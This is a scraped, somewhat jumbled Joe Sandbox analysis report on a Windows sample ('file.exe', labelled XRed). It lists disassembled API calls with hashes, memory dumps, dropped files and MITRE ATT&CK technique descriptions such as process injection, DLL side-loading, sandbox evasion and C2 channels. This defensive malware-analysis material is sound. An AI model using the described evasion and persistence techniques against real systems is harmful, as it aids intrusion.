Part of subcall function 008665A0: GetLastError.KERNEL32(?,?,?,00861BB8), ref: 008665AF

IsDebuggerPresent.KERNEL32(?,?,?,00861BB8), ref: 009AC6A4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00861BB8), ref: 009AC6B3

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 009AC6AE

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3511171328-631824599
Opcode ID: 826d959879e359fd67970011ac8d8126b3b35705f0217fa2bb71d39d44fc8062
Instruction ID: 78d9f6b664c8022345332f0c35f2ebe534a12d52eee19b37c9febeb002baee50
Opcode Fuzzy Hash: 826d959879e359fd67970011ac8d8126b3b35705f0217fa2bb71d39d44fc8062
Instruction Fuzzy Hash: 78E06DB42087828FD320DF68E4483127BE4BF05714F008D5DE992CB291EBB2E944CBA2

Function 0088686B Relevance: 5.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?), ref: 008868E6
LeaveCriticalSection.KERNEL32(?,?,?,?), ref: 008868F9
LocalFree.KERNEL32(?,?,?), ref: 00886902
TlsSetValue.KERNEL32(?,00000000,?,?), ref: 0088691E

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveLocalValue
String ID:
API String ID: 2949335588-0
Opcode ID: 31c9deb4316a56685978eb1dfc7450c98b5c3654d8260875d246331be1c65da1
Instruction ID: 0f476147dd17ae7d44275a94ec01a6b77ca8e34e6bf54c7e946b5be202e1503b
Opcode Fuzzy Hash: 31c9deb4316a56685978eb1dfc7450c98b5c3654d8260875d246331be1c65da1
Instruction Fuzzy Hash: 0A217C35E00218EFCB10EF58D884A9DBBB5FF49711F108069E956EB261DB30AE61CF91

Function 00886B16 Relevance: 5.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,00886AF9,00000000,00000004,0087D4F6,00879128,0087B557,?,0087BD82,00000004,00866975,000000A0), ref: 00886B22
TlsGetValue.KERNEL32(00000000,?,?,?,?,00886AF9,00000000,00000004,0087D4F6,00879128,0087B557,?,0087BD82,00000004,00866975,000000A0), ref: 00886B36
LeaveCriticalSection.KERNEL32(0000001C,?,?,?,?,00886AF9,00000000,00000004,0087D4F6,00879128,0087B557,?,0087BD82,00000004,00866975,000000A0), ref: 00886B50
LeaveCriticalSection.KERNEL32(0000001C,?,?,?,?,00886AF9,00000000,00000004,0087D4F6,00879128,0087B557,?,0087BD82,00000004,00866975,000000A0), ref: 00886B5B

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: a17636b65280fb14285d8d17765dbafd6fb2e4be8a4165b60f658fe0ae13f5fc
Instruction ID: f353e737041ae5e6c68d27b7a228a8eeeafa8361f0113be256c1ff04ef5bf4b4
Opcode Fuzzy Hash: a17636b65280fb14285d8d17765dbafd6fb2e4be8a4165b60f658fe0ae13f5fc
Instruction Fuzzy Hash: C3F03A36604119AFCB11AB65DC8CC9AF768FF047793058066E816EB221EA31ED259BA1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: XRed

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\1.exe

C:\Program Files (x86)\2.exe

C:\Program Files (x86)\3.exe

C:\Program Files (x86)\4.exe

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_1aa5473bd3682fcf5725fad1ec324a8f65a7f8f7_455b7b6e_e145bd13-3476-4242-8afc-71e087141ed9\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1300.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13BC.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40BB.tmp.dmp

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre